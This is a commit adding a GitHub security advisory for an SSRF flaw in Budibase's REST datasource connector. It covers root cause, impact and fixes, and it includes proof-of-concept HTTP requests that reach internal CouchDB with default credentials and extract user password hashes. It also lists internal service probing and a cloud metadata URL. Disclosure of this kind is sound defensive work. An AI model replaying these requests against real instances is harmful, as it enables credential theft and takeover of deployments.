Skip to content

Commit 2cfc8d3

Browse files
1 parent 4b510aa commit 2cfc8d3

3 files changed

Lines changed: 209 additions & 0 deletions

File tree

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7r9j-r86q-7g45",
4+
"modified": "2026-04-03T21:34:44Z",
5+
"published": "2026-04-03T21:34:44Z",
6+
"aliases": [
7+
"CVE-2026-31818"
8+
],
9+
"summary": "Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist",
10+
"details": "## 1. Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration |\n| **Product** | Budibase |\n| **Version** | 3.30.6 (latest stable as of 2026-02-25) |\n| **Component** | REST Datasource Integration + Backend-Core Blacklist Module |\n| **Severity** | Critical |\n| **Attack Vector** | Network |\n| **Privileges Required** | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) |\n| **User Interaction** | None |\n| **Affected Deployments** | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) |\n\n---\n\n## 2. Description\n\nA critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is **not set by default** in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction.\n\nThis allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.\n\nThe vulnerability is particularly severe because:\n1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data\n2. CouchDB credentials are embedded in the environment variables visible to the application container\n3. A successful exploit grants full read/write access to the entire Budibase data layer\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Blacklist Implementation\n\n**File**: `packages/backend-core/src/blacklist/blacklist.ts`\n\n```typescript\n// Line 23-37: Blacklist refresh reads from environment variable\nexport async function refreshBlacklist() {\n const blacklist = env.BLACKLIST_IPS // ← reads BLACKLIST_IPS\n const list = blacklist?.split(\",\") || [] // ← empty array if unset\n let final: string[] = []\n for (let addr of list) {\n // ... resolves domains to IPs\n }\n blackListArray = final // ← empty array\n}\n\n// Line 39-54: Blacklist check\nexport async function isBlacklisted(address: string): Promise<boolean> {\n if (!blackListArray) {\n await refreshBlacklist()\n }\n if (blackListArray?.length === 0) {\n return false // ← ALWAYS returns false when empty\n }\n // ... rest of check never executes\n}\n```\n\n**Problem**: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL.\n\n### 3.2 Default Configuration Missing BLACKLIST_IPS\n\n**File**: `hosting/.env` (official Docker Compose deployment template)\n\n```env\nMAIN_PORT=10000\nAPI_ENCRYPTION_KEY=testsecret\nJWT_SECRET=testsecret\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nCOUCH_DB_PASSWORD=budibase\nCOUCH_DB_USER=budibase\nREDIS_PASSWORD=budibase\nINTERNAL_API_KEY=budibase\n# ... (19 other variables)\n# BLACKLIST_IPS is NOT present\n```\n\nNo default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.\n\n### 3.3 REST Integration Blacklist Check\n\n**File**: `packages/server/src/integrations/rest.ts`\n\n```typescript\n// Line 684-686: Blacklist check before fetch\nconst url = this.getUrl(path, queryString, pagination, paginationValues)\nif (await blacklist.isBlacklisted(url)) { // ← always false\n throw new Error(\"Cannot connect to URL.\") // ← never reached\n}\n// Line 708:\nresponse = await fetch(url, input) // ← unrestricted fetch\n```\n\n### 3.4 Authorization Model\n\n| Operation | Endpoint | Required Permission |\n|-----------|----------|-------------------|\n| Create datasource | `POST /api/datasources` | `BUILDER` (app-level) |\n| Create query | `POST /api/queries` | `BUILDER` (app-level) |\n| Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) |\n\n**Route definitions**:\n- `packages/server/src/api/routes/datasource.ts:19` → `builderRoutes`\n- `packages/server/src/api/routes/query.ts:33` → `builderRoutes` (create)\n- `packages/server/src/api/routes/query.ts:55-66` → `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute)\n\n**Key insight**: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.\n\n---\n\n## 4. Impact Analysis\n\n### 4.1 Confidentiality — Critical\n\nAn attacker can read:\n- **All CouchDB databases** (`/_all_dbs`)\n- **User credentials** including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`)\n- **Platform configuration** including encryption keys, JWT secrets\n- **All application data** across every app in the instance\n- **Internal service metadata** (MinIO storage, Redis)\n\n### 4.2 Integrity — High\n\nThrough CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:\n- **Modify user records** to escalate privileges\n- **Create new admin accounts** directly in CouchDB\n- **Alter application data** in any app's database\n- **Delete databases** causing data loss\n\n### 4.3 Availability — Medium\n\n- **Resource exhaustion** by making the server proxy large responses from internal services\n- **Database destruction** via CouchDB DELETE operations\n- **Service disruption** by modifying critical configuration documents\n\n### 4.4 Scope Change\n\nThe vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to:\n- CouchDB (database layer)\n- MinIO (storage layer)\n- Redis (cache/session layer)\n- Any other service accessible from the Docker network\n\n---\n\n## 5. Proof of Concept\n\n### 5.1 Environment Setup\n\n```bash\ncd hosting/\ndocker compose up -d\n# Wait for services to start\n# Create admin account via POST /api/global/users/init\n# Login to obtain session cookie\n```\n\n**Tested on**: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env`\n\n### 5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB\n\n```http\nPOST /api/datasources HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\nCookie: budibase:auth=<session_token>\nx-budibase-app-id: <app_id>\n\n{\n \"datasource\": {\n \"name\": \"Internal CouchDB\",\n \"source\": \"REST\",\n \"type\": \"datasource\",\n \"config\": {\n \"url\": \"http://couchdb-service:5984\",\n \"defaultHeaders\": {}\n }\n }\n}\n```\n\n**Response** (201 — datasource created successfully):\n```json\n{\n \"datasource\": {\n \"_id\": \"datasource_4530e34a8b2e423f8f8eb53e2b2cefc6\",\n \"name\": \"Internal CouchDB\",\n \"source\": \"REST\",\n \"config\": { \"url\": \"http://couchdb-service:5984\" }\n }\n}\n```\n\nNo warning, no validation error — an internal hostname is accepted without restriction.\n\n### 5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)\n\nCreate and execute a query to `GET /`:\n\n```http\nPOST /api/v2/queries/<query_id> HTTP/1.1\n```\n\n**Response** — Internal CouchDB data returned to the attacker:\n```json\n{\n \"data\": [{\n \"couchdb\": \"Welcome\",\n \"version\": \"3.3.3\",\n \"git_sha\": \"40afbcfc7\",\n \"uuid\": \"9cd97b58e2cef72e730a83247c377d2b\",\n \"features\": [\"search\",\"access-ready\",\"partitioned\",\n \"pluggable-storage-engines\",\"reshard\",\"scheduler\"],\n \"vendor\": {\"name\": \"The Apache Software Foundation\"}\n }],\n \"code\": 200,\n \"time\": \"44ms\"\n}\n```\n\n### 5.4 Step 3 — Enumerate All Databases\n\nQuery: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`)\n\n```json\n{\n \"data\": [\n {\"value\": \"_replicator\"},\n {\"value\": \"_users\"},\n {\"value\": \"app_dev_3eeb8d7949074250ae62f206ad0b61a5\"},\n {\"value\": \"app_dev_5135f7f368bc4701a7f163baaf22f1b7\"},\n {\"value\": \"global-db\"},\n {\"value\": \"global-info\"}\n ]\n}\n```\n\n### 5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets\n\nQuery: `GET /global-db/_all_docs?include_docs=true&limit=20`\nHeaders: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase)\n\n**Response** — Full user record with bcrypt hash:\n```json\n{\n \"data\": [{\n \"total_rows\": 4,\n \"rows\": [\n {\n \"id\": \"config_settings\",\n \"doc\": {\n \"_id\": \"config_settings\",\n \"type\": \"settings\",\n \"config\": {\n \"platformUrl\": \"http://localhost:10000\",\n \"uniqueTenantId\": \"23ba9844703049778d75372e720c7169_default\"\n }\n }\n },\n {\n \"id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n \"doc\": {\n \"_id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n \"email\": \"admin@test.com\",\n \"password\": \"$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK\",\n \"builder\": {\"global\": true},\n \"admin\": {\"global\": true},\n \"tenantId\": \"default\",\n \"status\": \"active\"\n }\n },\n {\n \"id\": \"usage_quota\",\n \"doc\": {\n \"_id\": \"usage_quota\",\n \"quotaReset\": \"2026-03-01T00:00:00.000Z\",\n \"usageQuota\": {\"apps\": 2, \"users\": 1, \"creators\": 1}\n }\n }\n ]\n }]\n}\n```\n\n**Exfiltrated data includes**:\n- Admin email: `admin@test.com`\n- Bcrypt password hash: `$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK`\n- Role information: `builder.global: true`, `admin.global: true`\n- Tenant ID, platform URL, quota information\n\n### 5.6 Step 5 — Access Other Internal Services\n\n**MinIO (Object Storage)**:\n```\nDatasource URL: http://minio-service:9000\nResponse: {\"Code\":\"BadRequest\",\"Message\":\"An unsupported API call...\"}\nServer header: MinIO\n```\nConfirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.\n\n**Redis (Port Scanning)**:\n```\nDatasource URL: http://redis-service:6379\nResponse: \"fetch failed\" (Redis speaks non-HTTP protocol)\n```\nDifferent error from non-existent host → confirms service discovery capability.\n\n**Non-existent service**:\n```\nDatasource URL: http://nonexistent-service:12345\nResponse: \"fetch failed\"\n```\n\n### 5.7 Service Discovery Matrix\n\n| Target | URL | Response | Service Confirmed |\n|--------|-----|----------|-------------------|\n| CouchDB | `http://couchdb-service:5984/` | `{\"couchdb\":\"Welcome\",\"version\":\"3.3.3\"}` | Yes — full data access |\n| MinIO | `http://minio-service:9000/` | XML error with `Server: MinIO` header | Yes — storage access |\n| Redis | `http://redis-service:6379/` | `socket hang up` / `fetch failed` | Yes — port open |\n| Non-existent | `http://nonexistent:12345/` | `fetch failed` (ENOTFOUND) | No — different error |\n\nThis differential response enables internal network mapping.\n\n---\n\n## 6. Attack Scenarios\n\n### Scenario A: Builder User Steals All Credentials\n1. User has `Builder` role for one app\n2. Creates REST datasource → `http://couchdb-service:5984`\n3. Queries `global-db` to get all user records with password hashes\n4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT\n\n### Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)\n1. Attacker has `Creator` role (lower than Builder)\n2. Exploits CVE-2026-25040 to invite themselves as Admin\n3. Now has Builder access → exploits this SSRF\n4. Complete instance takeover\n\n### Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)\n1. On cloud-hosted instances, datasource URL: `http://169.254.169.254/latest/meta-data/`\n2. Retrieves IAM credentials, instance metadata\n3. Pivots to cloud infrastructure\n\n---\n\n## 7. Affected Code Paths\n\n```\nUser Request\n │\n ▼\nPOST /api/datasources [BUILDER permission]\n │ packages/server/src/api/routes/datasource.ts:32\n │ → No URL validation on datasource.config.url\n ▼\nPOST /api/v2/queries/:queryId [QUERY WRITE permission]\n │ packages/server/src/api/routes/query.ts:63\n ▼\npackages/server/src/threads/query.ts\n │ → Executes query via REST integration\n ▼\npackages/server/src/integrations/rest.ts\n │ Line 684: blacklist.isBlacklisted(url) → returns false (empty list)\n │ Line 708: fetch(url, input) → unrestricted request\n ▼\nInternal Service (CouchDB, MinIO, Redis, etc.)\n │\n ▼\nResponse returned to attacker via query results\n```\n\n---\n\n## 8. Recommended Fixes\n\n### Fix 1 (Critical): Add Default Private IP Blocklist\n\n```typescript\n// packages/backend-core/src/blacklist/blacklist.ts\n\nconst DEFAULT_BLOCKED_RANGES = [\n \"127.0.0.0/8\", // localhost\n \"10.0.0.0/8\", // RFC1918\n \"172.16.0.0/12\", // RFC1918\n \"192.168.0.0/16\", // RFC1918\n \"169.254.0.0/16\", // link-local / cloud metadata\n \"0.0.0.0/8\", // current network\n \"::1/128\", // IPv6 localhost\n \"fc00::/7\", // IPv6 private\n \"fe80::/10\", // IPv6 link-local\n]\n\nexport async function isBlacklisted(address: string): Promise<boolean> {\n // Always check against default blocked ranges\n // even when BLACKLIST_IPS is not configured\n const ips = await resolveToIPs(address)\n for (const ip of ips) {\n if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {\n return true\n }\n }\n // Then check user-configured blacklist\n // ...existing logic...\n}\n```\n\n### Fix 2 (High): Validate Datasource URLs at Creation Time\n\n```typescript\n// packages/server/src/api/controllers/datasource.ts\n\nasync function save(ctx) {\n const { config } = ctx.request.body.datasource\n if (config?.url) {\n if (await blacklist.isBlacklisted(config.url)) {\n ctx.throw(400, \"Cannot create datasource targeting internal network\")\n }\n }\n // ... existing logic\n}\n```\n\n### Fix 3 (Medium): Add DNS Rebinding Protection\n\nResolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.\n\n### Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect\n\nEnsure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@budibase/backend-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.33.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31818"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/Budibase/budibase/pull/18236"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/Budibase/budibase"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/Budibase/budibase/releases/tag/3.33.4"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-1188",
67+
"CWE-918"
68+
],
69+
"severity": "CRITICAL",
70+
"github_reviewed": true,
71+
"github_reviewed_at": "2026-04-03T21:34:44Z",
72+
"nvd_published_at": "2026-04-03T16:16:39Z"
73+
}
74+
}

0 commit comments

Comments
 (0)